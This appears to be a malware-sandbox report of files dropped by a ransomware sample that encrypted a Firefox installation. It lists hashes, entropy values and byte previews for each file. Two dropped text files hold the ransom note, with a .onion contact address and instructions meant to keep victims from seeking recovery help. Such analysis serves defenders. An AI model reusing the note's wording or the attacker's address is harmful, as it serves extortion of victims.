Preview:	.@.b+.....,.6{...5\PN"<.e.W3'7..r$...o .PV)...........TJ.G..........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......6..........pX.........@.......................b....,.2{.6x>\RNB.PeX.W3'7..r$...o .PV)...........TJ./...J.......K..........`........%.......)... ......DA..........................(...`...8............V...............................n..^....,.&{.."3\PJ"<Pe.W3'7..r....ARd1"H..r........N.?..............@..@.data...............................@....pdata...%.......&..................@..@.00cfg..(..........................bj......_.6{.p.5\P.(<Pg.W.-7..r$...o .P.).E...f..\|..TJ.?...........................rsrc...`...........................@..@.reloc....... ......................@..B...........................b.....,.6{...5\PN"<Pe.W3'7..r$...o .PV)...........TJ.?.....................................................................................................................................b*.....,.6{...5\PN"<Pe.W3'7..r$...

C:\Program Files\Mozilla Firefox\default-browser-agent.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	718042
Entropy (8bit):	7.008542736251794
Encrypted:	false
SSDEEP:	12288:xrXd9ZHOoOpPp03UFpFmFFctshFFJi4eaGCD7/kgkefoW+JfyI:x7jZXUFpFeFQOF0O7/kgdfJmfyI
MD5:	03397F137E7193F60858B9FD9A12ACBE
SHA1:	7343DECEBE59CB772E015C15F4EC136629B438DB
SHA-256:	222939985DE1705492C37E84542C100C3C39E7C1397324F9F723A5352984221A
SHA-512:	D59B0CD9E9E083C3F859AA81A11EB7B367DBAD2D3953D4B70187C9BE9E311985AF8638EFD5FD94DE7870A4ED16EC6A0FF468737F44981F4C3666BD1127C091D2
Malicious:	false
Preview:	.@.b+.....,.6{...5\PN"<.e.W3'7..r$...o .PV)...........TJ.G..........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......6..........pX.........@.......................b....,.2{.6x>\RNB.PeX.W3'7..r$...o .PV)...........TJ./...J.......K..........`........%.......)... ......DA..........................(...`...8............V...............................n..^....,.&{.."3\PJ"<Pe.W3'7..r....ARd1"H..r........N.?..............@..@.data...............................@....pdata...%.......&..................@..@.00cfg..(..........................bj......_.6{.p.5\P.(<Pg.W.-7..r$...o .P.).E...f..\|..TJ.?...........................rsrc...`...........................@..@.reloc....... ......................@..B...........................b.....,.6{...5\PN"<Pe.W3'7..r$...o .PV)...........TJ.?.....................................................................................................................................b*.....,.6{...5\PN"<Pe.W3'7..r$...

C:\Program Files\Mozilla Firefox\defaultagent.ini

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1246
Entropy (8bit):	7.521852212315909
Encrypted:	false
SSDEEP:	24:+ZkAtLjFVb1cpJTlo1FMt2NgE3g8YPbeCaPsz91WeWIJgUijXRHH7MS:mjFVM8Tx3gDz269cJaijXBH7MS
MD5:	84EF9C705AC279EC98C4FB4DE37D3012
SHA1:	29A74DBD570FCC3A54851B560EB3086E76B82148
SHA-256:	D40FBEA25339D80D0ED9770A5873716278989FF658F41FD9D5AC444B8424E5CC
SHA-512:	AFA135F4C4A4E71E99BE22C60759D72161CCF09D3AE51FB2CB728E8733A15B1DD93E9D1F7C21ECF25A96C45F0C6E35A83711ADBE27AFCD5EB171910FC1075610
Malicious:	false
Preview:	.u.'d3$. ..$X}..y.S....og...`.?...C.f.w0[.ynH....+oLN.^..L.r...7.&nJ?...."S...=.]....a....t.6.....J.f.w0b.G#LH...0s...B..I.f...u.&y($.'..M.}-.q._..om...z.!...BD2.f0G..s....%nE.....G.^..g.."n..t./T.k.t....&`..p......IOq.vyA..Xh]...8ttd.T..U.g..."...k.&..$\)".s.......y...}.7...C.T.`uI.s<1m...k],.^..E.]...3.,l4m.!..?I`..h.S....:b...g."...MR2.wsJ..oB....1`L..;4.F.f...'.8~%v. ..!T>.t......!j...t.0.....EOv[.u..jw^[..9f\..s..W.v...!.)d#e.&...\6..t......h...a......[Hf.z0M.hh1m...k],.^..E.]...3.,l4m.!..)I.#.j.......a..7..u...MFs.\|.%.+Jvy....I}T.e..S.u...u.'b5h.o..0\$8.n.....&z...5.0.....H\|[qq\.+b.E...3b#U..PL..3...u.?./r.+..gt...y....;....5.<....BDe.{~J...`g...0dH..K..}.Z...<.#Y/e.;..+\)".x.......z...g."...ERg.~UC.ffU]...6t\..t..M.}...d..#0j.E..+Q2<.m......b...c......MUzFpb@.xfI....fE+.T..N.`...&..a.h."..3N.z.-..... m...o.1....~D~.fyY.BnZN...+o...^..E.<..sualElements/VisualElements_150.png..........0.a....b..il..Ed.z.K...O}..t._#.qd{Z..?..x.p.?q......K..

C:\Program Files\Mozilla Firefox\defaultagent.ini.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1246
Entropy (8bit):	7.521852212315909
Encrypted:	false
SSDEEP:	24:+ZkAtLjFVb1cpJTlo1FMt2NgE3g8YPbeCaPsz91WeWIJgUijXRHH7MS:mjFVM8Tx3gDz269cJaijXBH7MS
MD5:	84EF9C705AC279EC98C4FB4DE37D3012
SHA1:	29A74DBD570FCC3A54851B560EB3086E76B82148
SHA-256:	D40FBEA25339D80D0ED9770A5873716278989FF658F41FD9D5AC444B8424E5CC
SHA-512:	AFA135F4C4A4E71E99BE22C60759D72161CCF09D3AE51FB2CB728E8733A15B1DD93E9D1F7C21ECF25A96C45F0C6E35A83711ADBE27AFCD5EB171910FC1075610
Malicious:	false
Preview:	.u.'d3$. ..$X}..y.S....og...`.?...C.f.w0[.ynH....+oLN.^..L.r...7.&nJ?...."S...=.]....a....t.6.....J.f.w0b.G#LH...0s...B..I.f...u.&y($.'..M.}-.q._..om...z.!...BD2.f0G..s....%nE.....G.^..g.."n..t./T.k.t....&`..p......IOq.vyA..Xh]...8ttd.T..U.g..."...k.&..$\)".s.......y...}.7...C.T.`uI.s<1m...k],.^..E.]...3.,l4m.!..?I`..h.S....:b...g."...MR2.wsJ..oB....1`L..;4.F.f...'.8~%v. ..!T>.t......!j...t.0.....EOv[.u..jw^[..9f\..s..W.v...!.)d#e.&...\6..t......h...a......[Hf.z0M.hh1m...k],.^..E.]...3.,l4m.!..)I.#.j.......a..7..u...MFs.\|.%.+Jvy....I}T.e..S.u...u.'b5h.o..0\$8.n.....&z...5.0.....H\|[qq\.+b.E...3b#U..PL..3...u.?./r.+..gt...y....;....5.<....BDe.{~J...`g...0dH..K..}.Z...<.#Y/e.;..+\)".x.......z...g."...ERg.~UC.ffU]...6t\..t..M.}...d..#0j.E..+Q2<.m......b...c......MUzFpb@.xfI....fE+.T..N.`...&..a.h."..3N.z.-..... m...o.1....~D~.fyY.BnZN...+o...^..E.<..sualElements/VisualElements_150.png..........0.a....b..il..Ed.z.K...O}..t._#.qd{Z..?..x.p.?q......K..

C:\Program Files\Mozilla Firefox\defaultagent_localized.ini

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1344
Entropy (8bit):	7.584641099718026
Encrypted:	false
SSDEEP:	24:dSeseyCNPo9iw8Eeaqotp2DD49dHoChfZSRXdsLNKbM/Z1bRmBU0vkZS:IG28Ee1otU/4jHo2ZSddsBTx1GUskZS
MD5:	607356E7BC28232C379A2763A1CEC793
SHA1:	F68DBEE0B95860C22A204A091EC3ACD80B20B856
SHA-256:	4BCD28AA34080717D36B6E35FF6D6413E3C4BC78C2E3F1E41CC357FCFE7135C4
SHA-512:	BCC997492AC675170D6FFFF1EB5D651F5F0DFEEAFFC05A89DD9952F65243423959C17E7C43A3A0C44CB0BC668EFE4AF0EB689E6B8B5C6E03E2A6547CEFF0BA89
Malicious:	false
Preview:	...T...j......"..0.T...E1.s......1M'.V....l....T.........1...U...........aL.>........ .].....8M'.V.5..!.....H.3......e....U...M.....-$..<.b...O#. ......0.s.G....qO....U..;P.....A......3.E....k+..u.R..Bb.h.]......;.0.W....Z&....O.........S....Y...\.......(..b.K..B..h.]....M..\....!4.....H..1^.....b...R.\......'9L.x.U...$.o.]......&M'......i.....K..(P.4...y...]..........8m..t.I..._2.c.......=.>.G....rY...U..z......1...O........k/..{.O..E0.f......,.s.[....v...O......W..b.......M.....8..}.O..@.. ......1...R....rU....H..6..].......Y..........8cL..._...N.. .......5As.C....!....~D...<......c...N.\.....)!...d....I$.r........6.R....;.........=......y...N...A......;?..u.K..O;.s...........@....E.....~..-...6....vz....\......9"..u.u..J+.a.......;...K.E..d....[.3..........I...K......$9..y.Z..B..d.)......+.s.V....uU....Y..-..]...t........W.....=L...I...C0. ......*.s.V....u[....I........._....U...P......>9..~.^...u'..........,.$.

C:\Program Files\Mozilla Firefox\defaultagent_localized.ini.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1344
Entropy (8bit):	7.584641099718026
Encrypted:	false
SSDEEP:	24:dSeseyCNPo9iw8Eeaqotp2DD49dHoChfZSRXdsLNKbM/Z1bRmBU0vkZS:IG28Ee1otU/4jHo2ZSddsBTx1GUskZS
MD5:	607356E7BC28232C379A2763A1CEC793
SHA1:	F68DBEE0B95860C22A204A091EC3ACD80B20B856
SHA-256:	4BCD28AA34080717D36B6E35FF6D6413E3C4BC78C2E3F1E41CC357FCFE7135C4
SHA-512:	BCC997492AC675170D6FFFF1EB5D651F5F0DFEEAFFC05A89DD9952F65243423959C17E7C43A3A0C44CB0BC668EFE4AF0EB689E6B8B5C6E03E2A6547CEFF0BA89
Malicious:	false
Preview:	...T...j......"..0.T...E1.s......1M'.V....l....T.........1...U...........aL.>........ .].....8M'.V.5..!.....H.3......e....U...M.....-$..<.b...O#. ......0.s.G....qO....U..;P.....A......3.E....k+..u.R..Bb.h.]......;.0.W....Z&....O.........S....Y...\.......(..b.K..B..h.]....M..\....!4.....H..1^.....b...R.\......'9L.x.U...$.o.]......&M'......i.....K..(P.4...y...]..........8m..t.I..._2.c.......=.>.G....rY...U..z......1...O........k/..{.O..E0.f......,.s.[....v...O......W..b.......M.....8..}.O..@.. ......1...R....rU....H..6..].......Y..........8cL..._...N.. .......5As.C....!....~D...<......c...N.\.....)!...d....I$.r........6.R....;.........=......y...N...A......;?..u.K..O;.s...........@....E.....~..-...6....vz....\......9"..u.u..J+.a.......;...K.E..d....[.3..........I...K......$9..y.Z..B..d.)......+.s.V....uU....Y..-..]...t........W.....=L...I...C0. ......*.s.V....u[....I........._....U...P......>9..~.^...u'..........,.$.

C:\Program Files\Mozilla Firefox\defaults\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Mozilla Firefox\defaults\pref\channel-prefs.js

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	743
Entropy (8bit):	7.205132807342603
Encrypted:	false
SSDEEP:	12:Avb44MPQ4bUqJyo4HjWmSH4fUUVpyKxvVrFIGF9EOomkIDMZtHpP5OGGS:kSrIqJ1lsvzHvDM3HpoGGS
MD5:	05CDCF273FCC8EC818999A445AF93885
SHA1:	E2B6186F6708A402917FB0649DFF26DA727D19A2
SHA-256:	287AE9B5BE3313160BEA02ECEB8C61C5076AB03E4D71D80FFF95A5D35CC32F01
SHA-512:	729C8F132C9FCF451277095DDBAE361B2361D2A032562F9C9AB6CB8289CFA9E34BD778D6C5281E8435AE035EB6EB3BAFCEFE21C53B98AF701E4EB98D1453A4F7
Malicious:	false
Preview:	......>\|,...U}....3....9.}.<.S@Ire.p.6..A<............A...... ..G\|U....U3...e...A.~N..i\|.FEv<.p.b...h=............\...S..l..94_....:}........6.%N>.'=VG^g,.?.,..<P....................c..}sQ..o.r...G.O.".;. n.LD&,.l.-..A..................U..b.(9_...ES2...g...e..N?.&jJ@X)$.o..................@.......l..\|N..V.o....3...<.s..r.KEre.{.H..A'.....H......@..@ile...pref("app.update.channel", "release");...t.B...'.......C.bq.}e)?`t.rw.b.q.&..E/zy9O]..U.z...2....fgV.Z..L-r..+;...zYU.4..+..O.e.C...........b4..'...._i.....5.q.J...A.&...1..w.:.....l-hi.[t.....Z.<.#..dB....K.A._..#.*-Q..^O.C..2...............................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\defaults\pref\channel-prefs.js.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	743
Entropy (8bit):	7.205132807342603
Encrypted:	false
SSDEEP:	12:Avb44MPQ4bUqJyo4HjWmSH4fUUVpyKxvVrFIGF9EOomkIDMZtHpP5OGGS:kSrIqJ1lsvzHvDM3HpoGGS
MD5:	05CDCF273FCC8EC818999A445AF93885
SHA1:	E2B6186F6708A402917FB0649DFF26DA727D19A2
SHA-256:	287AE9B5BE3313160BEA02ECEB8C61C5076AB03E4D71D80FFF95A5D35CC32F01
SHA-512:	729C8F132C9FCF451277095DDBAE361B2361D2A032562F9C9AB6CB8289CFA9E34BD778D6C5281E8435AE035EB6EB3BAFCEFE21C53B98AF701E4EB98D1453A4F7
Malicious:	false
Preview:	......>\|,...U}....3....9.}.<.S@Ire.p.6..A<............A...... ..G\|U....U3...e...A.~N..i\|.FEv<.p.b...h=............\...S..l..94_....:}........6.%N>.'=VG^g,.?.,..<P....................c..}sQ..o.r...G.O.".;. n.LD&,.l.-..A..................U..b.(9_...ES2...g...e..N?.&jJ@X)$.o..................@.......l..\|N..V.o....3...<.s..r.KEre.{.H..A'.....H......@..@ile...pref("app.update.channel", "release");...t.B...'.......C.bq.}e)?`t.rw.b.q.&..E/zy9O]..U.z...2....fgV.Z..L-r..+;...zYU.4..+..O.e.C...........b4..'...._i.....5.q.J...A.&...1..w.:.....l-hi.[t.....Z.<.#..dB....K.A._..#.*-Q..^O.C..2...............................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\defaults\pref\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Mozilla Firefox\dependentlibs.list

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	6.278372518467336
Encrypted:	false
SSDEEP:	6:GLRzJdds3q1zSbPR8NRE/ZjiWc+meEA1j5ik4dWFOpT5UFLW1lANQR:G1Jfs3qJD2IWceBXidWFOpT5cWjANS
MD5:	9EF95053A869C7B604DF78EEEFE11BDE
SHA1:	9CFED6F2EFB55CBC0B36B4407DEE10466662D92F
SHA-256:	02083A469B225237440A6719EA7B2A968E0F06CFA38910879EE9EAD86F0BD197
SHA-512:	DF4A03B0E4502A25C971D8B5EE6E6EC7A7B2218665EEF6177B29B588FAB64D87FA430E3304CFE5CFD16C366ED49DF1A014556763BD18E2405A44BCD3905F714A
Malicious:	false
Preview:	.9yY..H..Ahq.;..yH..q\|tNue'..By+H..1.@LE4f........0..g.{.y..5.1.dll.msvcp140.dll.lgpllibs.dll.xul.dll...[bt..t.o.y..s k....ei...<....4./.0m.4.&L.NYd......zB.#Oix.../W..F..r=...;Fd.C...B.2kq7m.Z....: ..$..N.iN&...F..c.:..\|D...7{.Y.....`......'M..0....)..@..........Q..K....!.4..\|M...b>.HHZ;...........................................................................................@.........29yp10v5m8k.

C:\Program Files\Mozilla Firefox\dependentlibs.list.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	6.278372518467336
Encrypted:	false
SSDEEP:	6:GLRzJdds3q1zSbPR8NRE/ZjiWc+meEA1j5ik4dWFOpT5UFLW1lANQR:G1Jfs3qJD2IWceBXidWFOpT5cWjANS
MD5:	9EF95053A869C7B604DF78EEEFE11BDE
SHA1:	9CFED6F2EFB55CBC0B36B4407DEE10466662D92F
SHA-256:	02083A469B225237440A6719EA7B2A968E0F06CFA38910879EE9EAD86F0BD197
SHA-512:	DF4A03B0E4502A25C971D8B5EE6E6EC7A7B2218665EEF6177B29B588FAB64D87FA430E3304CFE5CFD16C366ED49DF1A014556763BD18E2405A44BCD3905F714A
Malicious:	false
Preview:	.9yY..H..Ahq.;..yH..q\|tNue'..By+H..1.@LE4f........0..g.{.y..5.1.dll.msvcp140.dll.lgpllibs.dll.xul.dll...[bt..t.o.y..s k....ei...<....4./.0m.4.&L.NYd......zB.#Oix.../W..F..r=...;Fd.C...B.2kq7m.Z....: ..$..N.iN&...F..c.:..\|D...7{.Y.....`......'M..0....)..@..........Q..K....!.4..\|M...b>.HHZ;...........................................................................................@.........29yp10v5m8k.

C:\Program Files\Mozilla Firefox\firefox.VisualElementsManifest.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.319988795984539
Encrypted:	false
SSDEEP:	24:SSgtjRmLD0rY5kl1uvntEfr31EyW06lrJ+BBjGtS:eI0c7vtEz31EVL5052S
MD5:	C2BB157B1B72D0626D20DFCA57B353BE
SHA1:	C3CC79EBFFC02E896150E1AF641A60F047D62571
SHA-256:	D9019C54276ACB0B74E4892549DB0C2D656F75D14FDFAE56CACCB7D1A01BC48D
SHA-512:	1AE76246D753D1997B1A83A459E35BC0C2BE4F3CCBCB9C96C4F0D693B7914F743FC7B9C0045EE7A705FA47F99E2DF4F46B71B793B0CC56BF34F3ADC9D9423D93
Malicious:	false
Preview:	...2nb.": ..]~....e..0'3>T....Q...V.t"....Le.b..........9CR.V..pVc.[:S._.Q....e.i){~,....UJ.....b"..S.Pe.B.........'CM.E..f_n.&s..R[u....l.eUu~>............oc..S.Ve.n.....L...9CR.V..u.G..5A.B.3B......./%2w^.R..]J....!z..N.Pt...........1M.T....JwF.2r....t....c.na_~>..O..R.....uv..S.. ./........2__.R...j.?..u..O.r... .i../k\.C......:.\|m....Ww.j.........OP.D..aOk..v...Ai.......'8rT>.....`.....+z..?._o.(.....?...6KR#[..\|Ny..s...CX....t..hepnS.....J..0.ig....Vd.j........c..F BackgroundColor='#20123a'/>.</Application>......P..2......."...8l .+...xZ.].,.......4w..Ao!.Gf...b..."2ln..<..F..l<.V3u.....b..-.(.r.>.3B../S.J.;e.G\|.......+. .2.O..'X.v...Rm....l...;T........v....g$...B....8..E}<!E.......mbk........p.\.D.............................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\firefox.VisualElementsManifest.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.319988795984539
Encrypted:	false
SSDEEP:	24:SSgtjRmLD0rY5kl1uvntEfr31EyW06lrJ+BBjGtS:eI0c7vtEz31EVL5052S
MD5:	C2BB157B1B72D0626D20DFCA57B353BE
SHA1:	C3CC79EBFFC02E896150E1AF641A60F047D62571
SHA-256:	D9019C54276ACB0B74E4892549DB0C2D656F75D14FDFAE56CACCB7D1A01BC48D
SHA-512:	1AE76246D753D1997B1A83A459E35BC0C2BE4F3CCBCB9C96C4F0D693B7914F743FC7B9C0045EE7A705FA47F99E2DF4F46B71B793B0CC56BF34F3ADC9D9423D93
Malicious:	false
Preview:	...2nb.": ..]~....e..0'3>T....Q...V.t"....Le.b..........9CR.V..pVc.[:S._.Q....e.i){~,....UJ.....b"..S.Pe.B.........'CM.E..f_n.&s..R[u....l.eUu~>............oc..S.Ve.n.....L...9CR.V..u.G..5A.B.3B......./%2w^.R..]J....!z..N.Pt...........1M.T....JwF.2r....t....c.na_~>..O..R.....uv..S.. ./........2__.R...j.?..u..O.r... .i../k\.C......:.\|m....Ww.j.........OP.D..aOk..v...Ai.......'8rT>.....`.....+z..?._o.(.....?...6KR#[..\|Ny..s...CX....t..hepnS.....J..0.ig....Vd.j........c..F BackgroundColor='#20123a'/>.</Application>......P..2......."...8l .+...xZ.].,.......4w..Ao!.Gf...b..."2ln..<..F..l<.V3u.....b..-.(.r.>.3B../S.J.;e.G\|.......+. .2.O..'X.v...Rm....l...;T........v....g$...B....8..E}<!E.......mbk........p.\.D.............................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\firefox.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	677082
Entropy (8bit):	7.372597928201737
Encrypted:	false
SSDEEP:	12288:BQYzamtRTzNLJjhOHwbe+SPJfYV5mPeIVd4mID37+FZoMTZR6ZPoyQL9x+x:iYtt9xJjCwbHkJfYV5mmen0QlZRMPELc
MD5:	B71D1750DA6CE436505B266A6A0BBD33
SHA1:	E961B9654DFABD60D920C61159C883C3866A66FD
SHA-256:	77B880C594A54257BA9F4AAEE66E07F4311B56F0E92CFDEB0A28C429DC516D56
SHA-512:	730B5AB50A177ED343F4E0570A699843361F10EE9BA96C771CAE1F8DE84F39CF69BF1A613AF96BFC550560E250932F64EA08350AB4F77FA276721FE4951D454B
Malicious:	true
Preview:	..=.8.D].(>.z..6}N./....O.Q)..j.$..T..""...Y.VC.l...J....@............!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......$.....................@....................i.E.9.DY.">.~..}oE.-...GOMQ)..j.4..T..""...Y.VC.\|...J....@............g...h............P..t%......)......x...4........................k..(....@..8...........P...........@...................M. .M.D.<->.j..6YK./..GO.Q)..j.$..t..B.e.b-.VCX.....O....@..+.............@..@.data...p+... ......................@....pdata..t%...P...&..................@..@.00cfg..(............2..........c.E.y..wxZ[...J&}N./d..GM.Q).j.$..T.."".....V....w..$m...@._(......6...................tls.................8..............@....voltbl..............:...................rsrc................<..c.E.9.DY.(>.z.n..+.@...?K.Q);.j."..T..""...Y.VC.l....JJ...@....................................................................................................................................c.E.9.*DY.(>.z..6}N./...GO.Q)..j.$..T.."

C:\Program Files\Mozilla Firefox\firefox.exe.sig

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	7.735629496089989
Encrypted:	false
SSDEEP:	48:OnJiUJBYmR8VDDpbJ3g8AXpAXBTj+XN5MykBS:1UJjR8VHpbJ3bsAF+XNt6S
MD5:	F54527DBB25498DC19B7C4213C1DF2B5
SHA1:	22812500D9E33D059E6ECA0DA897A696C3CBD37F
SHA-256:	56AF16DE8381D8018CA8369F5A0404F1F38C1643D9F976701268AA610526F60C
SHA-512:	1E3911106FD4225CDFA70CCFD6E90938B7DB2503EB3BB646766E1E2319CD395F2C11563890076008329E49248E4B92BFD52AA0A9C7FD07051C61AC064E5ED871
Malicious:	false
Preview:	........>.Y.DB..!.......o.q.4..r.k].Y..H...8D...o .@ .LQ-.j{.^,..3..w..V..&3r.M..\|B>:.(.\?.4+9.7..3f..p..8C.W.e..6D.";K...v..X...Q.Fk.3..vb.%.../.2.N.:.n]B..1..,n..lj.Z1.a._..\|..u`....LH.:G...1..<.h.vt-...."'?".$.[l.1rb.M].Y...I..v$.k..b..J.Sg:..y}~..P..Lr.K`....0q..-..F(.'.j.%.k_F..nw.\R..M..P).c..0..L.+2K..B.H.=...w.....5..+,{.@..".?....."..0._{.-b.. k.u(.x..\|._H.(g....t..'..<...#..Z..FO..............P..$....U).....N>.M.C..$.g!..EX.>.O.S...Y5.B..j.......?0...5gR<......}....M(.J..d_c^...s>...Q.p....DAl.o.......K..W....{....Yc..![.....D....A.n.." ...@.C....&"....^O!..=.~.7$).\|.u.y.......k..ucn\~..9/l..Nk[A6#.[.M"...8$.sh.<.o.L9.?<...%.^j..H..np.\R..E..!.[6..s..!^......fh.-..!S....j..S.'K...DS.%...(..r..nd.\R..E..5u...:..u/.GP...z,.(...(....._.DC.%...d...&.To.0.0.^@..l..a...Z.k...B..b..Xw.."6.s.1.....sl..{?..R...^5.J.`.Z.Q.%?....Et...Z..@.A#{..Y..5x....6...8g..9).%.1~.'...._.y1.L..4{.9*.0R.ouJ.^..o....&...._m...)....3...h...s..?..?...,.. I...B;zH..,

C:\Program Files\Mozilla Firefox\firefox.exe.sig.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	7.735629496089989
Encrypted:	false
SSDEEP:	48:OnJiUJBYmR8VDDpbJ3g8AXpAXBTj+XN5MykBS:1UJjR8VHpbJ3bsAF+XNt6S
MD5:	F54527DBB25498DC19B7C4213C1DF2B5
SHA1:	22812500D9E33D059E6ECA0DA897A696C3CBD37F
SHA-256:	56AF16DE8381D8018CA8369F5A0404F1F38C1643D9F976701268AA610526F60C
SHA-512:	1E3911106FD4225CDFA70CCFD6E90938B7DB2503EB3BB646766E1E2319CD395F2C11563890076008329E49248E4B92BFD52AA0A9C7FD07051C61AC064E5ED871
Malicious:	false
Preview:	........>.Y.DB..!.......o.q.4..r.k].Y..H...8D...o .@ .LQ-.j{.^,..3..w..V..&3r.M..\|B>:.(.\?.4+9.7..3f..p..8C.W.e..6D.";K...v..X...Q.Fk.3..vb.%.../.2.N.:.n]B..1..,n..lj.Z1.a._..\|..u`....LH.:G...1..<.h.vt-...."'?".$.[l.1rb.M].Y...I..v$.k..b..J.Sg:..y}~..P..Lr.K`....0q..-..F(.'.j.%.k_F..nw.\R..M..P).c..0..L.+2K..B.H.=...w.....5..+,{.@..".?....."..0._{.-b.. k.u(.x..\|._H.(g....t..'..<...#..Z..FO..............P..$....U).....N>.M.C..$.g!..EX.>.O.S...Y5.B..j.......?0...5gR<......}....M(.J..d_c^...s>...Q.p....DAl.o.......K..W....{....Yc..![.....D....A.n.." ...@.C....&"....^O!..=.~.7$).\|.u.y.......k..ucn\~..9/l..Nk[A6#.[.M"...8$.sh.<.o.L9.?<...%.^j..H..np.\R..E..!.[6..s..!^......fh.-..!S....j..S.'K...DS.%...(..r..nd.\R..E..5u...:..u/.GP...z,.(...(....._.DC.%...d...&.To.0.0.^@..l..a...Z.k...B..b..Xw.."6.s.1.....sl..{?..R...^5.J.`.Z.Q.%?....Et...Z..@.A#{..Y..5x....6...8g..9).%.1~.'...._.y1.L..4{.9*.0R.ouJ.^..o....&...._m...)....3...h...s..?..?...,.. I...B;zH..,

C:\Program Files\Mozilla Firefox\firefox.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	677082
Entropy (8bit):	7.372597928201737
Encrypted:	false
SSDEEP:	12288:BQYzamtRTzNLJjhOHwbe+SPJfYV5mPeIVd4mID37+FZoMTZR6ZPoyQL9x+x:iYtt9xJjCwbHkJfYV5mmen0QlZRMPELc
MD5:	B71D1750DA6CE436505B266A6A0BBD33
SHA1:	E961B9654DFABD60D920C61159C883C3866A66FD
SHA-256:	77B880C594A54257BA9F4AAEE66E07F4311B56F0E92CFDEB0A28C429DC516D56
SHA-512:	730B5AB50A177ED343F4E0570A699843361F10EE9BA96C771CAE1F8DE84F39CF69BF1A613AF96BFC550560E250932F64EA08350AB4F77FA276721FE4951D454B
Malicious:	false
